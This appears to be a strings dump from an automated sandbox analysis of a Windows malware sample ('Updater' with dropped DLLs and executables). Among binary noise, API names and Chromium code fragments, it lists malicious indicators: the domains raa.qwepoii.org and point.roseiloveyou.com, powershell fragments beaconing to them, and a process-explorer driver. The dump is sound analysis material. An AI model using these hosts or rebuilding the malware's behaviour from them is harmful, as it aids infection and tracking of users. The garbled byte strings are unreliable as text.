Ok*!7yB]1{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ok:6r5e:v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ol?u[?|]
Ansi based on Runtime Data (rundll32.exe )
old_resources.pak
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
ole32.dll
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OLEAUT32.dll
Ansi based on Dropped File (kokoko.dll.2691425955)
olj%}0sAR
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OLLATE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
om this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Dropped File (hhhhh.exe.655875088)
omMargins.Orientation.LEFT))); } print_preview.ticket_items.TicketItem.prototype.updateValue.call( this, margins); }, /** * Updates the specified margin in points while keeping the value within * a maximum and minimum.
Ansi based on Runtime Data (CPK.exe )
ompletion
Unicode based on Dropped File (ttttt.exe.179545488)
on -dpcisr cannot be used when extended flags are alread used.
Unicode based on Dropped File (ttttt.exe.179545488)
on not supported
Ansi based on Dropped File (UAC.dll.626400535)
on, 0.08s); -webkit-transition-timing-function: var(--paper-progress-transition-timing-function, ease); transition-timing-function: var(--paper-progress-transition-timing-function, ease); -webkit-transition-delay: va
Ansi based on Runtime Data (CPK.exe )
on-existant Process>
Unicode based on Dropped File (hhhhh.exe.655875088)
on-text !important}select:-internal-list-box:disabled option:checked, select:-internal-list-box option:checked:disabled{color: gray !important}select:-internal-list-box hr{border-style: none}output{display: inline} meter{-webkit-appearance: meter;box-sizing: b
Ansi based on Runtime Data (CPK.exe )
ON/|_c`BXJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
onsInfo( {includeDisabled: true, includeTerminated: true}, function(extensions) { /** @private {Array<chrome.developerPrivate.ExtensionInfo>} */ this.extensions_ = extensions; for (let extension of extensions)
Ansi based on Runtime Data (CPK.exe )
onTueWedThuFriSat
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oO4h4ys)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oO@,D dKv@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OOBEInProgress
Unicode based on Runtime Data (rundll32.exe )
ook: %s
Unicode based on Dropped File (ttttt.exe.179545488)
OP41234N2341234
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OpCompletion
Unicode based on Dropped File (ttttt.exe.179545488)
OpenPhysicalDiskAnalysis = 0
Ansi based on Dropped File (pc64.cfg)
OpenProcess
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
OpenProcessToken
Ansi based on Dropped File (hhhhh.exe.655875088)
OpenSCManager failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
OpenSCManagerW
Ansi based on Dropped File (kokoko.dll.2691425955)
OpenService failed (%d)
Ansi based on Dropped File (MIO.dll.1862922135)
OpenServiceW
Ansi based on Dropped File (kokoko.dll.2691425955)
OpenThreadToken
Ansi based on Dropped File (ttttt.exe.179545488)
Operating System
Unicode based on Dropped File (ttttt.exe.179545488)
operation canceled
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation in progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation not permitted
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Operation Status: %uL
Unicode based on Dropped File (ttttt.exe.179545488)
operation would block
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation_in_progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operation_would_block
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operator
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
operty we are defining the setter * for. * @param {PropertyKind} kind The kind of property we are getting the * setter for. * @param {function(*, *):void=} opt_setHook A function to run after the * property is set, but before the pro
Ansi based on Runtime Data (CPK.exe )
oprocess
Unicode based on Dropped File (ttttt.exe.179545488)
options:
Unicode based on Dropped File (ttttt.exe.179545488)
OriginalFilename
Unicode based on Dropped File (kokoko.dll.2691425955)
ority
Unicode based on Dropped File (ttttt.exe.179545488)
orkerUpdateOnReload',false);if(this._forceUpdateSetting.get())this._forceUpdateSettingChanged();this._forceUpdateSetting.addChangeListener(this._forceUpdateSettingChanged,this);new SDK.ServiceWorkerContextNamer(target,this,subTargetsManager);}enable(){if(t
Ansi based on Runtime Data (CPK.exe )
os]Wbou`;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ot enough space for _onexit/atexit table
Unicode based on Dropped File (hhhhh.exe.655875088)
ot initialized
Unicode based on Dropped File (MIO.dll.1862922135)
otocol error
Ansi based on Dropped File (UAC.dll.626400535)
oundOpacity:0.8};return new tr.ui.tracks.ChartSeries(idToTimestampToPoint[id],seriesYAxis,renderingConfig);});series.reverse();return series;}function buildMemoryLetterDots(memoryDumps){var backgroundMemoryColorId=ColorScheme.getColorIdForReservedName('backgr
Ansi based on Runtime Data (CPK.exe )
ouQ]:?cG/
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ource code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n */\n\n.search-drawer-header {\n flex: none;\n display: flex;\n border-bottom: 2px solid #e8e8e8;\n white-space: nowrap;\n overflow: hidden;\n}\n\n.search-
Ansi based on Runtime Data (CPK.exe )
ources/html/i18n_behavior.html"><link rel="import" href="chrome://resources/polymer/v1_0/paper-button/paper-button.html"><link rel="import" href="../../icons/media_router_icons.html"><dom-module name="issue-banner"> <link rel="import" type="css" href="../
Ansi based on Runtime Data (CPK.exe )
out <n> Forces enable to be synchronous with timeout value in ms
Unicode based on Dropped File (ttttt.exe.179545488)
OutputDebugStringW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OV M?D{.{a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OV?>???.??t?LT4
Ansi based on Runtime Data (rundll32.exe )
oversubscribed distance tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oversubscribed dynamic bit lengths tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oversubscribed literal/length tree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
oW?1?v?DO?
Ansi based on Runtime Data (rundll32.exe )
own error
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
owner dead
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
owserModuleEntry
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
oX2f=97q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
OzjlVzPt?L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
o}$z:6&*ju
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
O~S08`3$%
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p Write out buffers for triage memory dumps
Unicode based on Dropped File (ttttt.exe.179545488)
p#1,]Q.c4:L,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p'K.`&a%3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P(A;;GA;;;SY)(A;;GA;;;BA)
Unicode based on Dropped File (hhhhh.exe.655875088)
P,2Nt4y(@f)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P0a/X1Y5W-I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p4?yDwf5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p4TM+2H'p
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p4z>CsF64
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P7g`wLi@E`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P8?????TAY??>?????????z?I??(|q?D??K?@?
Ansi based on Runtime Data (rundll32.exe )
P?'????<?
Ansi based on Runtime Data (rundll32.exe )
p?.???PX?
Ansi based on Runtime Data (rundll32.exe )
P?J??$?"?
Ansi based on Runtime Data (rundll32.exe )
P?KP?*???
Ansi based on Runtime Data (rundll32.exe )
p?Q?3???R???R??n?X?
Ansi based on Runtime Data (rundll32.exe )
P[IV7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P^<S}y~sW'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P_Z'^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P`@Gs8!fcgp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pa-in
Unicode based on Dropped File (hhhhh.exe.655875088)
PackageIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
PackageRelativeAppIdFilter
Unicode based on Dropped File (ttttt.exe.179545488)
PackedCatalogItem
Unicode based on Runtime Data (QQBrowser.exe )
pADGDaDGF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PageAllocatorSystemHeapIsPrivate
Unicode based on Runtime Data (rundll32.exe )
PageAllocatorUseSystemHeap
Unicode based on Runtime Data (rundll32.exe )
Paged
Unicode based on Dropped File (ttttt.exe.179545488)
PageFaults
Unicode based on Dropped File (ttttt.exe.179545488)
Pagefile %I64d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
paraguay
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Parameters
Unicode based on Dropped File (kokoko.dll.2691425955)
ParentFolder
Unicode based on Runtime Data (rundll32.exe )
ParsingName
Unicode based on Runtime Data (rundll32.exe )
particular index. * @param {number} index The index of the card to return. * @return {!Element} The card at the given index. */ getCardAtIndex: function(index) { this.assertValidIndex_(index); return this.cards_[index]; },
Ansi based on Runtime Data (CPK.exe )
PathAddBackslashW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathAppendW
Ansi based on Dropped File (MIO.dll.1862922135)
PathCombineW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
PathFileExistsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathFindExtensionW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PathFindFileNameW
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C3000.00000002.mdmp)
PathRemoveFileSpecW
Ansi based on Dropped File (kokoko.dll.2691425955)
pc32.cfg
Unicode based on Runtime Data (rundll32.exe )
pc32.exe
Unicode based on Runtime Data (rundll32.exe )
pc64.cfg
Unicode based on Runtime Data (rundll32.exe )
pc64.exe
Unicode based on Runtime Data (rundll32.exe )
PcaSvc
Unicode based on Runtime Data (rundll32.exe )
PCESA
Unicode based on Dropped File (hhhhh.exe.655875088)
pcisr
Unicode based on Dropped File (ttttt.exe.179545488)
pcWaitForReply
Unicode based on Dropped File (ttttt.exe.179545488)
pdwV/}i!+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pe:"text",maxLength:void 0,defaultValue:void 0},Hd:{id:"nonInteraction",name:"ni",valueType:"boolean",maxLength:void 0,defaultValue:void 0},qd:Ha,$d:{id:"title",name:"dt",valueType:"text",maxLength:1500,defaultValue:void 0},bd:{id:"appId",name:"aid",valueType
Ansi based on Runtime Data (CPK.exe )
pecify an Executable name filter with names separated by semi-colon
Unicode based on Dropped File (ttttt.exe.179545488)
PeekConsoleInputA
Ansi based on Dropped File (hhhhh.exe.655875088)
pening %s>
Unicode based on Dropped File (hhhhh.exe.655875088)
per-processor buffering
Unicode based on Dropped File (ttttt.exe.179545488)
PERF_COUNTER
Unicode based on Dropped File (ttttt.exe.179545488)
permission denied
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
permission_denied
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Persist
Unicode based on Dropped File (ttttt.exe.179545488)
perties(callback){this.doGetProperties(true,false,false,callback);}getAllProperties(accessorPropertiesOnly,callback){this.doGetProperties(false,accessorPropertiesOnly,false,callback);}eventListeners(){return new Promise(eventListeners.bind(this));function
Ansi based on Runtime Data (CPK.exe )
PerUserCookies
Unicode based on Runtime Data (QQBrowser.exe )
PerUserItem
Unicode based on Runtime Data (QQBrowser.exe )
Pff((m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PGSKA["w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
PinToNameSpaceTree
Unicode based on Runtime Data (rundll32.exe )
PK.install.finish','%TEMP%\csp379D.tmp')
Unicode based on Runtime Data (powershell.exe )
pkE<?%$)@?}??
Ansi based on Runtime Data (rundll32.exe )
pl-PL
Unicode based on Dropped File (hhhhh.exe.655875088)
pl9y2~ A.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Platform
Unicode based on Runtime Data (QQBrowser.exe )
plitWidget.setSidebarWidget(splitWidget);this._currentSplitWidget.showBoth();}var lastSplitWidget=this._currentSplitWidget;this._currentSplitWidget=splitWidget;return lastSplitWidget;}detachChildWidgets(){super.detachChildWidgets();this._currentSplitWidget
Ansi based on Runtime Data (CPK.exe )
pN0RKPxHuK
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Pn{@-A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
point.roseiloveyou.com
Ansi based on PCAP Processing (PCAP)
Policy
Unicode based on Dropped File (psi.dll.1283195511)
PoolAllocation
Unicode based on Dropped File (ttttt.exe.179545488)
ported on this version
Ansi based on Dropped File (ttttt.exe.179545488)
portuguese-brazilian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PostQuitMessage
Ansi based on Dropped File (kokoko.dll.2691425955)
pow(t[1],2)+Math.pow(t[2],2)+Math.pow(t[3],2))},e.LDU=function(t,n,r,a){return t[2]=a[2]/a[0],r[0]=a[0],r[1]=a[1],r[3]=a[3]-t[2]*r[1],[t,n,r]},t.exports=e},function(t,n,r){var a=r(1),e={};e.create=function(){var t=new a.ARRAY_TYPE(6);return t[0]=1,t[1]=0,t[2]=
Ansi based on Runtime Data (CPK.exe )
Power
Unicode based on Dropped File (ttttt.exe.179545488)
powershell.exe
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
ppression when the extern * Node.prototype.contains() will be fixed. */ handleElementBlur_: function(e) { if (!this.contains(e.relatedTarget)) this.hasElementFocus = false; }, /** * Returns the list item element contai
Ansi based on Runtime Data (CPK.exe )
pQ)uAb_i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pr china
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Pre-allocate
Unicode based on Dropped File (ttttt.exe.179545488)
PreCreate
Unicode based on Runtime Data (rundll32.exe )
PreferExternalManifest
Unicode based on Runtime Data (rundll32.exe )
PreferredUILanguages
Unicode based on Runtime Data (rundll32.exe )
Press any key to exit...
Ansi based on Dropped File (hhhhh.exe.655875088)
previous(currentText){if(this._historyOffset>this._data.length)return undefined;if(this._historyOffset===1)this._pushCurrentText(currentText);++this._historyOffset;return this._currentHistoryItem();}next(){if(this._historyOffset===1)return undefined;-
Ansi based on Runtime Data (CPK.exe )
print
Ansi based on Dropped File (kokoko.dll.2691425955)
PrintDlgW
Ansi based on Dropped File (hhhhh.exe.655875088)
printf
Ansi based on Dropped File (ttttt.exe.179545488)
Priority
Unicode based on Dropped File (ttttt.exe.179545488)
private:
Ansi based on Dropped File (kokoko.dll.2691425955)
PrivateKeyLifetimeSeconds
Unicode based on Runtime Data (CPK.exe )
PrivKeyCacheMaxItems
Unicode based on Runtime Data (CPK.exe )
PrivKeyCachePurgeIntervalSeconds
Unicode based on Runtime Data (CPK.exe )
process
Unicode based on Dropped File (hhhhh.exe.655875088)
PROCESS
Unicode based on Dropped File (ttttt.exe.179545488)
Process
Unicode based on Dropped File (ttttt.exe.179545488)
Process32FirstW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
Process32Next
Ansi based on Dropped File (hhhhh.exe.655875088)
Process32NextW
Ansi based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
ProcessID
Unicode based on Dropped File (kokoko.dll.2691425955)
PROCEXP152
Unicode based on Dropped File (hhhhh.exe.655875088)
PROCEXP152.SYS
Unicode based on Dropped File (hhhhh.exe.655875088)
ProductName
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
ProductVersion
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
Profile0
Unicode based on Dropped File (kokoko.dll.2691425955)
ProfileImagePath
Unicode based on Runtime Data (rundll32.exe )
profiles.ini
Unicode based on Dropped File (kokoko.dll.2691425955)
Program Files
Unicode based on Runtime Data (rundll32.exe )
ProgramData
Unicode based on Runtime Data (QQBrowser.exe )
Prompt
Unicode based on Dropped File (UAC.dll.626400535)
property (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
protected:
Ansi based on Dropped File (kokoko.dll.2691425955)
protocol error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
protocol_not_supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ProviderId
Unicode based on Runtime Data (QQBrowser.exe )
ProviderInfo
Unicode based on Runtime Data (QQBrowser.exe )
ProxyBypass
Unicode based on Runtime Data (rundll32.exe )
ProxyEnable
Unicode based on Runtime Data (QQBrowser.exe )
ProxyHttp1.1
Unicode based on Runtime Data (QQBrowser.exe )
ProxyOverride
Unicode based on Runtime Data (QQBrowser.exe )
ProxyServer
Unicode based on Runtime Data (QQBrowser.exe )
ProxySettingsPerUser
Unicode based on Runtime Data (QQBrowser.exe )
pS&eS]ZoI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
psgo.
Unicode based on Dropped File (psi.dll.1283195511)
psgo.dll
Unicode based on Dropped File (psi.dll.1283195511)
psi.dll
Ansi based on Dropped File (psi.dll.1283195511)
PsLookupProcessByProcessId
Ansi based on Dropped File (hhhhh.exe.655875088)
PsProcessType
Ansi based on Dropped File (hhhhh.exe.655875088)
PsThreadType
Ansi based on Dropped File (hhhhh.exe.655875088)
pt-BR
Unicode based on Dropped File (UAC.dll.626400535)
pt-br
Unicode based on Dropped File (hhhhh.exe.655875088)
pt-PT
Unicode based on Dropped File (hhhhh.exe.655875088)
Pt.aXIsNC
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ptember
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
PTZ;,L703
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
puB-FSp]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
public:
Ansi based on Dropped File (kokoko.dll.2691425955)
PublishExpandedPath
Unicode based on Runtime Data (rundll32.exe )
puerto-rico
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
punct
Unicode based on Dropped File (kokoko.dll.2691425955)
pV08^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
pVWQ;{/DiA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
P{>fc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p|=B!k1uv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
p|Tq8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q"2X[Z]X[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q$*$wX`"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q$}/9ceyb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q+????Lz}?y?
Ansi based on Runtime Data (rundll32.exe )
q2%@"21(W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q2hlbGZOb3RpZnkgVGFzaw==
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q72A>)8L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q?$QYbp??
Ansi based on Runtime Data (rundll32.exe )
Q?/?????L??
Ansi based on Runtime Data (rundll32.exe )
Q?;?[_?
Ansi based on Runtime Data (rundll32.exe )
q?<-+st7(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q[3.9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q^?[??
Ansi based on Runtime Data (rundll32.exe )
q_::i+&l.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Q_VcIEU9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qa??8??
Ansi based on Runtime Data (rundll32.exe )
Qb13Q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qbdA<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QBrowser.install.finish','%TEMP%\csp4693.tmp')
Unicode based on Runtime Data (powershell.exe )
QBUtils.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
QC{-1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qD=F4a)}2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qg_+doh_I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qH'+|0DGGN0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qh]=f@&[[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qHgRDx i;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qi0YV1R&u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
qK#c^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
QQBrowser.exe
Unicode based on Runtime Data (rundll32.exe )
QQBrowserFrame.dll
Unicode based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
QQBrowserModuleEntry
Ansi based on Hybrid Analysis (QQBrowser.exe , 00060649-00002620.00000002.67144.509C1000.00000020.mdmp)
quence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
QueryAllTracesW
Ansi based on Dropped File (ttttt.exe.179545488)
QueryForInfoTip
Unicode based on Runtime Data (rundll32.exe )
QueryForOverlay
Unicode based on Runtime Data (rundll32.exe )
QueryPerformanceCounter
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
quz-bo
Unicode based on Dropped File (hhhhh.exe.655875088)
quz-PE
Unicode based on Dropped File (hhhhh.exe.655875088)
quz-pe
Unicode based on Runtime Data (rundll32.exe )
qW,mF4t]2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Qx01j!zYk
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q}v2m_5v7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q}}KVTf,i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
q~zUN-gLJZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r lowio initialization
Unicode based on Dropped File (MIO.dll.1862922135)
r params={};var query=unescape(location.search.substring(1));var vars=query.split("&");for(var i=0;i<vars.length;i++){var pair=vars[i].split("=");params[pair[0]]=pair[1]}return params}function setQueryParam(location,key,value){var query=parseQueryParams(locati
Ansi based on Runtime Data (CPK.exe )
r PRIVATE loggers
Unicode based on Dropped File (ttttt.exe.179545488)
r thread data
Unicode based on Dropped File (MIO.dll.1862922135)
R$sVQ^w-8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r'WHBuxbJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r(0.4, 0, 0.2, 1)', // Fast out, slow in. }; /** * Offers a small subset of the v1 Animation interface. The underlying * animation can be reversed, canceled or immediately finished. * @see https://www.w3.org/TR/web-animations-1/#animation *
Ansi based on Runtime Data (CPK.exe )
R) %s (%s)%s
Unicode based on Dropped File (ttttt.exe.179545488)
r+GKpMXC%
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r,{#Lu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r5p#rupcrUpCr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6002- floating point support not loaded
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6008- not enough space for arguments
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6009- not enough space for environment
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6010- abort() has been called
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6016- not enough space for thread data
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6017- unexpected multithread lock error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6018- unexpected heap error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6019- unable to open console device
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6024- not enough space for _onexit/atexit table
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6025- pure virtual function call
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6026- not enough space for stdio initialization
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6027- not enough space for lowio initialization
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6028- unable to initialize heap
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6030- CRT not initialized
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6031- Attempt to initialize the CRT more than once.This indicates a bug in your application.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6032- not enough space for locale information
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R6034- inconsistent onexit begin-end variables
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r7/0a0V@v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R7ib2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R: Unsupported profile source specified
Ansi based on Dropped File (ttttt.exe.179545488)
R:[^#cI`
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R;Pn ;sWZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
R<l+)~,t6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
r?1l?
Ansi based on Runtime Data (rundll32.exe )
R??D??:?.
Ansi based on Runtime Data (rundll32.exe )
r?C[/|_???t0?S????c??t??1
Ansi based on Runtime Data (rundll32.exe )
r`GOxtoj~n@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
raa.qwepoii.org
Ansi based on PCAP Processing (PCAP)
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','
Unicode based on Runtime Data (powershell.exe )
raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','
Unicode based on Runtime Data (powershell.exe )
raB3G
Ansi based on Dropped File (kokoko.dll.2691425955)
raB3G:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Ansi based on Dropped File (MIO.dll.1862922135)
ragua
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
RaiseDefaultAuthnLevel
Unicode based on Runtime Data (QQBrowser.exe )
RaiseException
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ralian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
rasman
Ansi based on Runtime Data (powershell.exe )
RASMAN
Unicode based on Runtime Data (powershell.exe )
rasphone.pbk
Unicode based on Runtime Data (QQBrowser.exe )
rce <src> Configure profiling source to use. 'Help' for list of sources
Unicode based on Dropped File (ttttt.exe.179545488)
rcgi.video.qq.com
Ansi based on PCAP Processing (PCAP)
RCHANDLE64
Unicode based on Dropped File (hhhhh.exe.655875088)
RCn{,Wk5w^7Q
